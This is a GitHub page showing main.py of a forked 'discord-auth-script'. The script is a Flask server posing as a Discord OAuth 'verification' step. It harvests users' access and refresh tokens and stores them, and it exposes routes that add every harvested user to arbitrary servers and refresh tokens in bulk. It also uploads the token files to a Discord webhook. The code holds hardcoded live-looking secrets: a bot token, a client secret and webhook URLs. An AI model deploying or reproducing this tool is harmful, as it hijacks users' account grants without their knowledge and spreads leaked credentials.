forked from Heyfrenzy/discord-auth-script
-
Notifications
You must be signed in to change notification settings - Fork 0
/
main.py
320 lines (271 loc) · 8.91 KB
/
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
# https://ptb.discord.com/api/oauth2/authorize?client_id=1094235563512569876&redirect_uri=https://maybe-oauth2-2.notexploit1337.repl.co&response_type=code&scope=identify%20guilds.join
import os, threading
# os.system("pip install dhooks")
import json, requests, time
from dhooks import Webhook, File
from flask import Flask, redirect, url_for, request
tkn = "MTEwMTU1Mzc0MDU5NjY1NDExMg.GO51wE.wkTFmcqyqRGESVVxYLFn54vylwLRSutxzPljTE"
CLIENT_ID = '1101553740596654112'
CLIENT_SECRET = "C5dpcZqRdEaDxFJ9uBfhtH80KlNCA9e2"
REDIRECT_URI = 'https://maybe-oauth2-2.notexploit1337.repl.co'
app = Flask(__name__)
API_ENDPOINT = 'https://canary.discord.com/api/v9'
verified_redirect = ""
verifier_redir = "https://discord.com/api/oauth2/authorize?client_id=1091958243724644442&redirect_uri=https%3A%2F%2Fmaybe-oauth2.notexploit1337.repl.co&response_type=code&scope=guilds.join%20identify"
hook = "https://canary.discord.com/api/webhooks/1077203170855505931/ZGseMIcsfEsZhfDvFaDXe-xGLMjN9-JK0vIQn3zkBgXXn8jbxymTWFMo10O_9dlYFoSD"
TOKEN_FINDER_API = "https://"
TOKEN_FINDER_API_AUTH = "02ab23b5df4ff52f46320e92d7"
backup_hook = "https://canary.discord.com/api/webhooks/1077203170855505931/ZGseMIcsfEsZhfDvFaDXe-xGLMjN9-JK0vIQn3zkBgXXn8jbxymTWFMo10O_9dlYFoSD"
pwd = "ok"
def exchange_code(code):
while True:
data = {
'client_id': CLIENT_ID,
'client_secret': CLIENT_SECRET,
'grant_type': 'authorization_code',
'code': code,
'redirect_uri': REDIRECT_URI
}
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
r = requests.post(str(API_ENDPOINT) + '/oauth2/token',
data=data,
headers=headers)
print(r.text)
if r.status_code in (200, 201, 204):
print(r.json())
return r.json()
elif r.status_code == 429:
time.sleep(r.json()['retry_after'])
continue
else:
return False
def add_to_guild(userID, access_token, guild_Id):
return "ok"
url = f"{API_ENDPOINT}/guilds/{guild_Id}/members/{userID}"
botToken = tkn
data = {
"access_token": access_token,
}
headers = {
"Authorization": f"Bot {botToken}",
'Content-Type': 'application/json'
}
r = requests.put(url=url, headers=headers, json=data)
print(r.status_code)
print(r.text)
# print(response.status_code)
# print(REDIRECT_URI)
# r = requests.post(
# hook, json={"content": f"successfully added user <@{userID}> | {userID}"})
# r = requests.put(
# f"https://canary.discord.com/api/v9/guilds/952495772073619466/members/{userID}/roles/988815859814383648",
# headers={"Authorization": f"Bot {tkn}"})
return r.status_code
# f = open("backup.txt", "r").readlines()
# for line in f:
# if "\n" in line:
# line = line.replace("\n", "")
# line = line.split(":")
# threading.Thread(target=add_to_guild, args=(line[0], line[1], "952495772073619466")).start()
# print(line[0], line[1])
def get_user(access: str):
endp = "https://canary.discord.com/api/v9/users/@me"
r = requests.get(endp, headers={"Authorization": f"Bearer {access}"})
rjson = r.json()
return rjson['id']
def get_new_token(refresh):
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
data = {
'client_id': CLIENT_ID,
'client_secret': CLIENT_SECRET,
'grant_type': 'refresh_token',
'refresh_token': refresh
}
r = requests.post(f"{API_ENDPOINT}/oauth2/token", data=data, headers=headers)
if r.status_code in (200, 201, 204):
return r.json()
return "failed"
# code = exchange_code('gvxPfY7M80idbUgN6YfwJPUIEuP2kv')['access_token']
# add_to_guild(access_token="9csiMPR9reOxjDJCxEc1z7oZJwNiUm", userID="661563598711291904" , guild_Id="1028633555972145183")
# @app.route('/')
# def main():
# return redirect("https://discord.com/invite/spy", code=302)
# def handler(code: str):
def save(id, access_tk, refresh_tk):
ok = "%s:%s:%s" % (id, access_tk, refresh_tk)
f2 = open("database.txt", "r")
f2r = f2.read()
if ok in f2r:
print(ok, "Already in")
return
f = open("database.txt", "a")
f.write("%s:%s:%s\n" % (id, access_tk, refresh_tk))
print("%s:%s:%s\n" % (id, access_tk, refresh_tk))
def test():
print("works")
@app.route("/backup", methods=['POST'])
def backup():
limiter = "not set yet"
if request.headers.get('Authorization') != pwd:
return 'unauthorized'
try:
sender = Webhook(backup_hook)
file1 = File("Database/access_tokens.json", name="access.txt")
file2 = File("Database/refresh_tokens.json", name="refresh.txt")
sender.send("access", file=file1)
sender.send("refresh", file=file2)
return "success"
except Exception as e:
# print(e)
return "failed\n %s" % (e)
else:
return "unauthorized"
# backup()
@app.route("/pullsingle", methods=["get"])
def pullsingle():
if request.headers.get('Authorization') != pwd:
return 'unauthorized'
jsonxd = request.json
user = jsonxd["user"]
f = open("Database/access_tokens.json", "r").read()
f = json.loads(f)
try:
tk = f[user]
except KeyError:
return "dberr"
print(tk)
return tk
@app.route("/refreshsingle", methods=["put"])
def refreshsingle():
if request.headers.get('Authorization') != pwd:
return 'unauthorized'
jsonxd = request.json
user = jsonxd["user"]
f = open("Database/refresh_tokens.json", "r").read()
f = json.loads(f)
try:
tk = f[user]
except:
return "this user is not in database"
print(tk)
r = get_new_token(tk)
if r == "failed":
return "failed"
access = r["access_token"]
refresh = r["refresh_token"]
save(user, access, refresh)
return "success"
@app.route("/pull", methods=['POST'])
def pull():
if request.headers.get('Authorization') != pwd:
return 'unauthorized'
jsonxd = request.json
guild = jsonxd['guild']
access = open('Database/access_tokens.json', 'r').read()
access = json.loads(access)
added = 0
failed = 0
for key in access:
value = access[key]
print(key, value)
r = add_to_guild(value, key, guild)
if r in (200, 201, 204):
added += 1
else:
failed += 1
return "success\n %s\n\nfailed\n %s" % (added, failed)
@app.route("/members", methods=['GET'])
def members():
if request.headers.get('Authorization') != pwd:
return 'unauthorized'
access = open("Database/access_tokens.json").readlines()
# access = json.loads(access)
return str(len(access))
def refresh_all():
refresh = open("Database/refresh_tokens.json").read()
refresh = json.loads(refresh)
for key in refresh:
value = refresh[key]
r = get_new_token(value) # commented to avoid massacres
new_access = r["access_token"]
new_refresh = r["refresh_token"]
f = open("backup.txt", "a")
f.write("%s:%s:%s" % (key, new_access, new_refresh))
print("%s:%s:%s" % (key, new_access, new_refresh))
save(key, new_access, new_refresh)
@app.route("/refresh", methods=['POST'])
def refresh():
if request.headers.get('Authorization') != pwd:
return 'unauthorized'
return "failed"
# access = open("access_tokens.json").read()
refresh_all()
return "200"
@app.route("/check", methods=['get'])
def check():
if request.headers.get('Authorization') != pwd:
return 'unauthorized'
jsonxd = request.json
# print(jsonxd)
user = jsonxd['user']
f = open("Database/access_tokens.json", "r").read()
f = json.loads(f)
try:
tk = f[user]
# print(tk)
except KeyError:
return "entry %s not found" % (user)
endp = "https://canary.discord.com/api/v9/users/@me"
r = requests.get(endp, headers={"Authorization": f"Bearer {tk}"})
rjson = r.json()
print(rjson)
return "entry found: \n\n%s" % (rjson)
@app.route('/usr/passwd')
def hello_world():
ip_addr = request.remote_addr
return "trolled"
# return '<h1> Your IP address is:' + ip_addr
@app.route('/')
def process_json():
# os.system("clear")
# test()
# redirect("https://discord.com/invite/spy", code=302)
args = request.args
if "code" not in args:
return redirect(verifier_redir, code=302)
idk = args.get('code')
idk = str(idk)
# print(idk)
# handler(idk)
try:
# print("testing")
exchange = exchange_code(idk)
if exchange == False:
return redirect("https://discord.com/oauth2/authorized", code=302)
# print(exchange)
access_tk = exchange['access_token']
# print(access_tk)
refresh_tk = exchange['refresh_token']
# print(refresh_tk)
id = get_user(access_tk)
# print(id)
save(id, access_tk, refresh_tk)
# Sliding Code to Token Finder API
except:
return redirect("https://discord.com/oauth2/authorized", code=302)
# try:
# # add_to_guild(str(access_tk), str(id), "952495772073619466")
# except:
# pass
return redirect("https://discord.com/oauth2/authorized", code=302)
# content_type = request.headers.get('Content-Type')
# if (content_type == 'application/json'):
# json = request.json
# # return 200
# print(json)
# print(request.headers)
# user = json["user"]
# guild = json["guild"]
# verify(user)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)